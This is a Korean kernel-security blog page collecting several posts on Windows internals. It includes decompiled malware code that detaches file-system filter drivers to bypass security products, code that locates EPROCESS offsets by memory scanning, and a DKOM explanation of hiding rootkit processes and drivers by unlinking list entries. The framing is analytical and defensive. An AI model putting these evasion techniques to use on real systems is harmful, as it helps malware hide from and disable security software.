Hacking & Security/Kernel2012. 4. 26. 13:43
출처: http://blog.naver.com/forc1/50114537970

char __stdcall disable_filter_driver_(PCWSTR Object)
{
char result; // al@2
PDEVICE_OBJECT p_device; // eax@3
UNICODE_STRING us_obj_name; // [sp+4h] [bp-8h]@1

RtlInitUnicodeString(&us_obj_name, Object);
if ( ObReferenceObjectByName(&us_obj_name, OBJ_CASE_INSENSITIVE, 0, 0, IoDriverObjectType, 0, 0, &Object) >= 0 )
{
for ( p_device = (PDRIVER_OBJECT)Object->DeviceObject; p_device; p_device = p_device->NextDevice )
p_device->AttachedDevice = 0; // 필터 없앰
ObfDereferenceObject((PVOID)Object);
result = 1;
}
else
result = 0;
return result;
}

NTSTATUS disable_filter_driver()
{
while ( !bEnd )
{
disable_filter_driver_(L"\\FileSystem\\Ntfs");
disable_filter_driver_(L"\\FileSystem\\Fastfat");
sleep_(1000);
}
return PsTerminateSystemThread(0);
}

설마 이런거 쓰겠어 했는데... 설마가 사람잡네요... 얼마전 발견된 악성코드에서 이와 같은 구현을 사용하며 더군다나
파일시스템 필터 뿐만이 아닌... Raw Disk I/O 에 대한 필터에 대해서도 위와 같은 형식을 이용하여 우회하는 기법을 이용하고 있는 것을 확인하였습니다.

여기에 대해서 대책이 있을까요?... 디바이스 객체에 대한 메모리 보호 역시 쉽지 않은 주제입니다만... 그에 앞서 Microsoft 에서 대책이 있을 지...아니면 대비가 이미 되어 있는 지 궁금하네요... MiniFilter 에 대해서도 ... 만일 Filter Manager 가 우회가 된다면 큰일이겠지요...
Posted by skensita

댓글을 달아 주세요

Hacking & Security/Kernel2009. 7. 11. 21:03

프로세스가 종료되어도 EPROCESS 포인터는 유효한 경우가 많더군요.
종종 프로세스의 가상 메모리를 읽어야 하는 경우가 있는데 이 경우 문제의 소지가 다분합니다.
그래서 뭐 좋은 방법 없나 고민하던 하다가 실제로 종료되었지만 남아있는 EPROCESS 와 그렇지 않은 녀석을 하나 하나 비교해 봤습니다.
역시나 아는게 없으니 .. 노가다를 할 수 밖에 없네요. ㅜㅜ
혹시 더 좋은 방법을 아시는분은 알려주시면 정말 감사하겠습니다. :-)

EPROCESS 에 믿어도 될만한 필드가 존재하는 것 같네요.
EPROCESS 구조체를 살펴보면 (XP sp2 입니다)


kd> de _EPROCESS
+0x000 Pcb : _KPROCESS
+0x06c ProcessLock : _EX_PUSH_LOCK
..........
+0x248 Flags : Uint4B
+0x248 CreateReported : Pos 0, 1 Bit
+0x248 NoDebugInherit : Pos 1, 1 Bit
+0x248 ProcessExiting : Pos 2, 1 Bit
+0x248 ProcessDelete : Pos 3, 1 Bit
+0x248 Wow64SplitPages : Pos 4, 1 Bit
+0x248 VmDeleted : Pos 5, 1 Bit
+0x248 OutswapEnabled : Pos 6, 1 Bit
+0x248 Outswapped : Pos 7, 1 Bit
+0x248 ForkFailed : Pos 8, 1 Bit
+0x248 HasPhysicalVad : Pos 9, 1 Bit
+0x248 AddressSpaceInitialized : Pos 10, 2 Bits
+0x248 SetTimerResolution : Pos 12, 1 Bit
+0x248 BreakOnTermination : Pos 13, 1 Bit
+0x248 SessionCreationUnderway : Pos 14, 1 Bit
+0x248 WriteWatch : Pos 15, 1 Bit
+0x248 ProcessInSession : Pos 16, 1 Bit
+0x248 OverrideAddressSpace : Pos 17, 1 Bit
+0x248 HasAddressSpace : Pos 18, 1 Bit
+0x248 LaunchPrefetched : Pos 19, 1 Bit
+0x248 InjectInpageErrors : Pos 20, 1 Bit
+0x248 VmTopDown : Pos 21, 1 Bit
+0x248 Unused3 : Pos 22, 1 Bit
+0x248 Unused4 : Pos 23, 1 Bit
+0x248 VdmAllowed : Pos 24, 1 Bit
+0x248 Unused : Pos 25, 5 Bits
+0x248 Unused1 : Pos 30, 1 Bit
+0x248 Unused2 : Pos 31, 1 Bit


0x248 지점에 32비트 비트필드 스트럭쳐(이렇게 부르는거 맞나요.. -_-;)가 있습니다.
여러 플래그들이 있는데 그 중에


+0x248 ProcessExiting : Pos 2, 1 Bit
+0x248 ProcessDelete : Pos 3, 1 Bit


이런 플래그가 있더군요.
살아있는 프로세스는 이 필드 값이 0x0 이고요 죽어있는 프로세스의 경우 0x1 입니다.
ExitTime 필드도 있긴 한데 여러번 테스트 해본 결과 정확하지 않은것 같더군요.

혹시나 해서 인터넷을 뒤적거리다 보니 PsGetProcessExitProcessCalled() 라는 함수가 있더군요.
이 함수를 디스어셈블 해보면...


kd> u nt!PsGetProcessExitProcessCalled
nt!PsGetProcessExitProcessCalled:
8062e1d7 8bff mov edi,edi
8062e1d9 55 push ebp
8062e1da 8bec mov ebp,esp
8062e1dc 8b4508 mov eax,dword ptr [ebp+8]
8062e1df 8b8048020000 mov eax,dword ptr [eax+248h]
8062e1e5 c1e802 shr eax,2
8062e1e8 2401 and al,1
8062e1ea 5d pop ebp
8062e1eb c20400 ret 4


정확히 ProcessExiting 필드를 참조하는 것을 확인 할 수 있습니다.
믿고 사용해도 될 듯 합니다.

출처 : http://somma.egloos.com/3077904
Posted by skensita

댓글을 달아 주세요

Hacking & Security/Kernel2009. 7. 11. 21:02
Name of file on installed system Original name on media for uniprocessor systems Original name on media for multiprocessor systems
Ntoskrnl.exe Ntoskrnl.exe Ntkrnlmp.exe
Ntkrnlpa.exe Ntkrnlpa.exe in \Windows\<architecture>\Driver.cab Ntkrpamp.exe in \Windows\<architecture>\Driver.cab
Hal.dll Depends on other factors; partly reliant on number of processors Depends on other factors; partly reliant on number of processors



참고로 PAE를 활성화 하는 경우와 반대의 경우 윈도우가 시작 시 로드하는 커널 파일은 아래와 같습니다.

CPU 수에 따른 환경

기본

PAE 활성

Uniprocess(단일 CPU)

Ntoskrnl.exe

Ntkrnlpa.exe

Multiprocess(다중 or 코어 CPU)

Ntkrnlmp.exe

Ntkrpamp.exe

Posted by skensita
TAG Kernel

댓글을 달아 주세요

Hacking & Security/Kernel2009. 7. 11. 21:01
게임 가드같은 경우 디버그 모드로 부팅하거나 게임 가드의 코드영역을 변조하거나 등등 이상한 짓을 하면 확~ 리부팅이 되어버리죠. 물론 덤프같은것도 없고요..
어떻게 하는 것일까요?
사실 여러가지 방법이 있겠죠. 포트에 쓰레기 값을 쓰거나 인터럽트 핸들러 막아두고, 인터럽트를 발생시키거나 .. 뭐 등등요..
하지만 깔끔한 방법이 있더군요. 더구나 MSDN 에 문서화 되어있고요.


KeBugCheck(POWER_FAILURE_SIMULATE);


심심하신 분들은 한번 테스트 해보세요.
참고로
유저레벨에서는 ExitWindowsEx(),
커널 모드에서는 HalReturnToFirmware  (undocumented), NtShutdownSystem     (undocumented) 라는 함수도 있답니다. :-)

출처 : http://somma.egloos.com/3772308
Posted by skensita

댓글을 달아 주세요

Hacking & Security/Kernel2009. 6. 22. 13:11

1. UniqueProcessId 구하기.

* PEPROCESS+0x80(오프셋이 항상 이 값 보다는 크므로) 부터 +PAGE_SIZE까지

Traverse한다.

* PEPROCESS는 IoGetCurrentProcess()를 이용하고 PID는 PsGetCurrentProcessId()를 이용하여 구한다.

* for문으로 4의 배수에 맞추어 검색하여 PID와 같은 값이 발견되면 그 뒤에(뒤에 바로 ActiveProcessLinks가 나오므로) ActiveProcessLinks의 포인터가 Valid한 VA인지 확인하고, 다시 내 EPROCESS구조체로 link되는지 체크하여 정확하게 찾아낸다.

대략적인 C 코드는 아래와 같습니다.

VOID CalcPIDOffset(VOID)
{
 PEPROCESS Proc = IoGetCurrentProcess();
 HANDLE PID = PsGetCurrentProcessId();
 PVOID ThisEntry = NULL, NextEntry = NULL;
 int i = 0;
 for(i = 0x80; i < PAGE_SIZE - 8; i += 4)
 {
  if(*(PHANDLE)((PCHAR)Proc + i) == PID)
  {
   // ActiveProcessLinks Offset is PID Offset+4
   NextEntry = *(PVOID *)((PCHAR)Proc + i + 8);
   if(MmIsAddressValid(NextEntry))
   {
    ThisEntry = *(PVOID *)NextEntry;
    if((PCHAR)ThisEntry == (PCHAR)Proc + i + 4)
    {
     // Probably, this is PID offset
     PID_OFFSET = i;
     return;
    }
   }
  }
 }

 PID_OFFSET = 0x1ec; // Exception case, so, put Offset as WinNT/2003(generic).
}

* 모든 상황에 대처할 수 있도록, 예외 처리로는 NT/2003의 PID_OFFSET을 대입하게 하였습니다.

 

 2. Process Name Offset 구하기.

 PEPROCESS의 프로세스 이름 Offset을 따내는 방법입니다. 아래와 같이 딸 수 있습니다.

VOID CalcProcessNameOffset(VOID)
{
 PEPROCESS SysProc = PsInitialSystemProcess;
 int i = 0;
 for(i = 0; i < PAGE_SIZE; i++)
 {
  if(strncmp((PCHAR)SysProc + i, "System", 6) == 0)
  {
   IMAGE_NAME_OFFSET = i;
   return;
  }
 }
}

* PsInitialSystemProcess의 PEPROCESS를 트레버싱하여 System 문자열과 일치하는 offset을 찾습니다.

 

 3. Handle Table Offset 구하기.

 PEPROCESS의 Handle Table Offset을 구하는 법입니다. Handle Table이란 EPROCESS의

 아래 필드를 의미합니다.

lkd> dt !_EPROCESS 8a2407f8
ntdll!_EPROCESS
   +0x000 Pcb              : _KPROCESS
   +0x06c ProcessLock      : _EX_PUSH_LOCK
   +0x070 CreateTime       : _LARGE_INTEGER 0x0
   +0x078 ExitTime         : _LARGE_INTEGER 0x0
   +0x080 RundownProtect   : _EX_RUNDOWN_REF
   +0x084 UniqueProcessId  : 0x00000004
   +0x088 ActiveProcessLinks : _LIST_ENTRY [ 0x8a10d2e8 - 0x8056a558 ]
   +0x090 QuotaUsage       : [3] 0
   +0x09c QuotaPeak        : [3] 0
   +0x0a8 CommitCharge     : 7
   +0x0ac PeakVirtualSize  : 0x759000
   +0x0b0 VirtualSize      : 0x1d0000
   +0x0b4 SessionProcessLinks : _LIST_ENTRY [ 0x0 - 0x0 ]
   +0x0bc DebugPort        : (null)
   +0x0c0 ExceptionPort    : (null)
   +0x0c4 ObjectTable      : 0xe1001e00 Ptr32 _HANDLE_TABLE

     ...

이 것을 구하는 방법은 크게 두가지를 생각해볼 수 있습니다.

1. 다른 필드로부터 델타(Delta; 오프셋 차이값)을 계산하여 그 값을 가산함으로써 오프셋을 얻는 방법.

  -> 이 방법을 사용하려면 많은 테스트가 이루어져야 하며, 불안정하기 때문에 여기서는 사용하지 않겠습니다. 이 방법을 사용하려면 모든 버젼에서 해당 차이값이 동일하다는 확실한 근거가 있어야합니다.

2. 해당 필드의 구조를 이용하는 방법.
 -> _HANDLE_TABLE은 아래와 같은 구조로 되어있습니다.

lkd> dt !_HANDLE_TABLE 0xe1001e00
ntdll!_HANDLE_TABLE
   +0x000 TableCode        : 0xe1890001
   +0x004 QuotaProcess     : (null)
   +0x008 UniqueProcessId  : 0x00000004
   +0x00c HandleTableLock  : [4] _EX_PUSH_LOCK
   +0x01c HandleTableList  : _LIST_ENTRY [ 0xe18640d4 - 0x8056b848 ]
   +0x024 HandleContentionEvent : _EX_PUSH_LOCK
   +0x028 DebugInfo        : (null)
   +0x02c ExtraInfoPages   : 0
   +0x030 FirstFree        : 0x570
   +0x034 LastFree         : 0xc58
   +0x038 NextHandleNeedingPool : 0x1000
   +0x03c HandleCount      : 387
   +0x040 Flags            : 0
   +0x040 StrictFIFO       : 0y0

 보이십니까? UniqueProcessId를 0x08번지에 가지고 있는걸 볼 수 있습니다.

 이를 이용하여 핸들 테이블 Offset을 구할 수 있고, 그 오프셋으로부터의 Delta값을 이용하여 다른 필드도 구할 수 있을겁니다.(아까도 당부했지만, Delta값을 이용한 방법은 여러 OS에서 테스트를 해봐야합니다.)

이를 이용한 C 코드는 아래와 같습니다.

VOID CalcHandleTableOffset(VOID)
{
 PEPROCESS Proc = IoGetCurrentProcess();
 HANDLE PID = PsGetCurrentProcessId();
 PVOID GuessHandleTable = NULL;
 int i = 0;
 for(i = 0; i < PAGE_SIZE; i+=4)
 {
  GuessHandleTable = *(PVOID *)((PCHAR)Proc + i);
  if(MmIsAddressValid(GuessHandleTable))
  {
   if(*(PHANDLE)((PCHAR)GuessHandleTable + 0x08) == PID)
   {
    HANDLE_TABLE_OFFSET = i;
    return;
   }
  }
 }
}

 

 4. ActiveProcessLinks

 UniqueProcessId Offset + 4를 하면 ActiveProcessLinks Offset(LIST_ENTRY)가 나옵니다.

 이는 NT 계열에서는 모두 동일(NT4~Vista에서 필자가 확인)하기 때문에, 사용해도 됩니다.

 

 ActiveProcessLinks_Offset = PID_OFFSET + 4;

 

 5. DebugPort

 주로 프로세스가 디버깅중인지 커널단에서 강력하게 확인할 때 사용되어집니다.

 디버거가 활성화 되어있다면 이 값은 NULL이 아닌 값이 되므로 체크할 때 사용됩니다.

 오프셋은 핸들 테이블의 오프셋 - 0x08으로 아래와 같이 쓸 수 있습니다.

 

 DEBUG_PORT_OFFSET = HANDLE_TABLE_OFFSET - 0x08;

 

 **********************************************************************

 

 이 부분은 논외이지만, 심심하므로(?) 내가 원하는 Process의 PEPROCESS를 얻어오는 방법에 대해서 간단하게 생각해봅시다.

 우선 Native API를 이용하는 방법으로 PsLookupProcessByProcessId()를 이용해볼 수 있습니다. 이 함수는 PspCidTable에서 Process를 찾아내어 반환하는 역할을 합니다. 따라서 가장 저 수준의 역할을 하는 Native API로 이를 후킹하면 프로세스 접근을 강력하게 막을수도 있을것입니다. 또한 기존 핸들로부터 얻을수도 있을겁니다. 이는 NtDuplicateObject와 NtQuerySystemInformation을 이용하면 됩니다. 그 후, ObReferenceObjectByHandle을 하면 얻을 수 있을겁니다.

(윈도우에서는 CSRSS.exe가 모든 프로세스에 대한 핸들을 하나씩 가지고 있으므로 이를 이용하면 NtOpenProcess를 거치지 않고도 열 수 있습니다.)

 이번엔 커널 구조체를 이용하는 방법들로, 우선 ActiveProcessLinks를 Traversing 하는 방법이 있겠습니다. 가장 보편적인 방법이며, 윈도우가 이 방법을 사용하고 있습니다. 또한 보통 프로세스를 숨길때는 이를 끊어서 목록에서 안보이게 합니다.

이 것 외에도 Handle Table의 Link를 이용하거나, 직접 PspCidTable의 포인터를 구해내어(PsLookupProcessByProcessId를 traverse) 직접 찾아내거나, 그 테이블을 조작해서 핸들을 얻어낸 후 ObReferenceObjectByHandle()을 한다면 PEPROCESS를 얻을 수 있을겁니다.

Posted by skensita
TAG EPROCESS

댓글을 달아 주세요

Hacking & Security/Kernel2009. 5. 13. 15:40
http://www.microsoft.com/whdc/DevTools/Debugging/symbolpkg.mspx

각종 윈도우 버전별로 심볼패키지를 다운 받을 수 있습니다.
Posted by skensita
TAG symbol

댓글을 달아 주세요

Hacking & Security/Kernel2008. 11. 18. 16:31
 최근 대부분의 보안제품이나 웜바이러스가 유행처럼 SSDT 후킹기법을 사용해서 작동합니다. 이제는 더이상 SSDT 후킹도 최신기술이 아닌 범용기술이 되었습니다. 그래서 점점더 보안소프트웨어와 해킹툴/웜바이러스간의 장벽이 사라지고 있다고 보여집니다. 다양한 해킹기법을 사용한 보안 소프트웨어도 점점더 웜바이러스처럼 견고해지고 있습니다만, 이것은 결국 닭이 먼저나 달걀이 먼저냐의 문제로 보여집니다. 그래서 최근에는 탐지가 쉬운 SSDT 후킹대신에 DKOM 기법을 사용하여 SSDT 후킹 탐지에 걸리지 않는 기법들을 사용하는 추세입니다. DKOM은 의미그대로 직접적으로 커널 오브젝트를 조작하는 방법으로 SSDT 후킹으로 프로세스 숨기기나 네트워크 포트 연결 숨기기가 같은 스텔스 기능을 똑같이 구현할 수 있습니다.
DKOM이 좋은 한가지 예는 보안소프트웨어 자체를 외부의 디버깅이나 프로세스 어태치로부터 자신을 보호하기 위해서 자기자신을 프로세스에서 안보이게 하여 리버싱을 방지하려고 하는 노력도 한가지 예가 될 수있습니다.

1) DKOM으로 숨기기 기법을 한마디로 요약하면
  • 모든 운영체제는 메모리에 계정정보를 보통 구조체 형태나 오브젝트 형태로 저장합니다.
  • 구동되고 있는 프로세스 리스트를 알아내기 위한 함수가 바로 ZwQuerySystemInfomation() 함수입니다.
  • 프로세스 리스트는 EPROCESS 구조체라는 Doubly Linked List 형태로 구성되어 있습니다.
  • EPROCESS 구조체는 FLINK와 BLINK를 멤버로 하는 LIST_ENTRY 구조체를 가지고 있습니다.
  • 현재 구동중인 프로세스의 주소(EPROCESS  구조체)는 PsGetCurrentProcess 함수를 호출하여 찾을 수 있습니다.  
  • PsGetCurrentProcess함수의 실제 함수는 IoGetCurrentProcess 함수가 됨
  • 이 함수를 디스어셈블하면

             mov   eax,   fs:0x00000124;  <-- IoGetCurrentProcess 함수
             mov   eax,   [eax + 0x44];   <-- _EPROCESS의 오프셋
             ret

결론적으로 EPROCESS의 BLINK와 FLINK를 포인터를 조작해서 Rootkit 코드의 프로세스를 Skip하도록 FLINK, BLINK포인터를 조작하면 윈도우즈의 작업관리자(taskmgr.exe)에서 해당 Rootkit 프로세스가 보이지 않게 된다.
보통 SSDT 후킹으로 프로세스를 숨기는 경우에는 SSDT 후킹여부를 탐지 및 복구가 가능하지만 DKOM은 탐지가 휠씬 어렵다.  

2) 디바이스 드라이버 숨기기
로드된 디바이스 드라이버를 안보이게 하는 기법도 DKOM 기법을 사용해서 구현할 수 있습니다.
디바이스 드라이버 오브젝트인 DRIVER_OBECJ 구조체에서 오프셋 값 0x14 위치에 MODULE_ENTRY 오브젝트라고 하는 것이 있습니다. 이 MODULE_ENTRY 역시 Dubly linked 리스트 구조로 FLINK/BLINK로 각 드라이버 리스트를 정보를 파악하게 되는데 이 FLINK/BLINK 값을 조작하면 Rootkit 커널 드라이버를 드라이버 리스트에서 안보이게 할 수 있습니다.
   
    typedef  struct _MODUL_ENTRY {
         LIST_ENTRY module_list_entry;
         DWORD    unknown1[4];
         DWORD    base;
         DWORD    driver_start;
         DWORD    unknown2;
         UNICODE_STRING  driver_Path;
         UNICODE_STRING  driver_Name;

}   MODULE_ENTRY, *PMODULE_ENTRY;


출처 : http://coderant.egloos.com/3564872

Posted by skensita

댓글을 달아 주세요

Hacking & Security/Kernel2008. 6. 30. 08:02

리눅스 커널 2.6의 시스템 콜 제어에 대한 문서입니다. 커널 2.4 에서의 기술은 많이 공개되어 있지만 2.6 부터는 여러가지
제약 사항 때문에 적용이 어려운 것으로 알려져 있으며 전반적인 기반 기술을 정리해서 문서화 한 자료도 찾기 힘듭니다.
본 문서에서는 커널 2.6 에서의 시스템 콜 제어와 관련된 핵심 기술에 대하여 상세히 다루고 있습니다.
Posted by skensita

댓글을 달아 주세요